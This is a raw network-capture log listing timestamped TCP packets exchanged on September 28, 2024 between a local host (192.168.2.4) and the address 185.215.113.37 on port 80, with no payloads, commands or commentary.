Sep 28, 2024 10:19:06.553128958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553138971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.553164005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553181887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.553198099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553214073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.553248882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.553932905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553970098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553982973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554003000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554013968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554038048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554052114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554070950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554090023 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554105043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554116011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554136992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554155111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554169893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554188967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554218054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554904938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554939032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554963112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.554972887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.554987907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555006981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555025101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555041075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555053949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555074930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555092096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555110931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555124998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555145025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555161953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555198908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555840969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555875063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555898905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555907011 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555917978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555939913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555952072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.555974007 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.555989981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556009054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556029081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556041002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556061029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556077003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556092024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556123972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556818962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556843042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556858063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556871891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556874037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556889057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556891918 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556905985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556916952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556922913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556938887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.556940079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556955099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556967020 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.556982994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.557626009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.557641983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.557656050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.557672024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.557677031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.557688951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.557693958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.557718992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.557737112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596051931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596108913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596113920 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596138954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596153975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596184015 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596262932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596309900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596316099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596349955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596363068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596385002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596398115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596429110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596719980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596771955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596851110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596879005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596904039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596913099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596918106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596947908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.596961021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596992970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.596999884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597033978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597043991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597068071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597076893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597111940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597520113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597569942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597632885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597666979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597687006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597702026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597711086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597737074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597745895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597770929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597779036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597812891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597820997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597856045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.597866058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.597906113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.598570108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.598604918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.598628044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.598637104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.598650932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.598673105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.598685026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.598706961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.598716974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.598742962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.598754883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.598777056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.598787069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.598822117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599253893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599287033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599307060 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599319935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599333048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599353075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599364042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599405050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599414110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599457026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599462032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599499941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599509001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599543095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.599560976 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.599586010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600208998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600243092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600263119 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600287914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600290060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600323915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600334883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600358009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600370884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600393057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600402117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600428104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600439072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600462914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.600475073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.600508928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.601064920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.601099014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.601115942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.601133108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.601140976 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.601166964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.601171970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.601202965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.601212978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.601248026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637254953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.637306929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.637336969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.637423992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637423992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637423992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637485981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.637517929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.637542963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637550116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.637563944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637584925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.637597084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637634039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.637904882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638015032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638046980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638078928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638111115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638464928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638495922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638528109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638555050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638586044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.638622046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639072895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639105082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639137030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639169931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639202118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639229059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639552116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639672041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639704943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639714003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.639739990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639755011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.639774084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639806032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639838934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.639868975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640588045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640619993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640651941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640685081 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640717030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640749931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640780926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.640813112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641510963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641544104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641577005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641609907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641639948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641674042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641705036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.641737938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642417908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642452002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642482996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642515898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642548084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642579079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642610073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642642975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.642678022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.642728090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643346071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643378019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643409014 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643431902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643439054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643466949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643481970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643500090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643512964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643532991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643543959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643568039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643579006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643601894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.643610954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643646955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.643987894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.644021988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.644036055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.644067049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683079004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683152914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683168888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683170080 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683199883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683209896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683576107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683592081 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683634996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683733940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683748960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683763981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683787107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683793068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683803082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.683805943 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683830023 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.683846951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684036016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684083939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684093952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684132099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684319973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684360981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684377909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684396029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684411049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684429884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684443951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684462070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684475899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684494019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684509039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684528112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684535980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684561014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684571028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684603930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.684607983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.684654951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685101986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685152054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685163021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685187101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685204983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685220003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685233116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685252905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685261011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685302973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685312033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685337067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685348988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685365915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685380936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685400009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.685410976 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.685446024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.686116934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.686151981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.686172009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.686184883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.686201096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.686218023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.686228037 CEST	49730	80	192.168.2.4	185.215.113.37
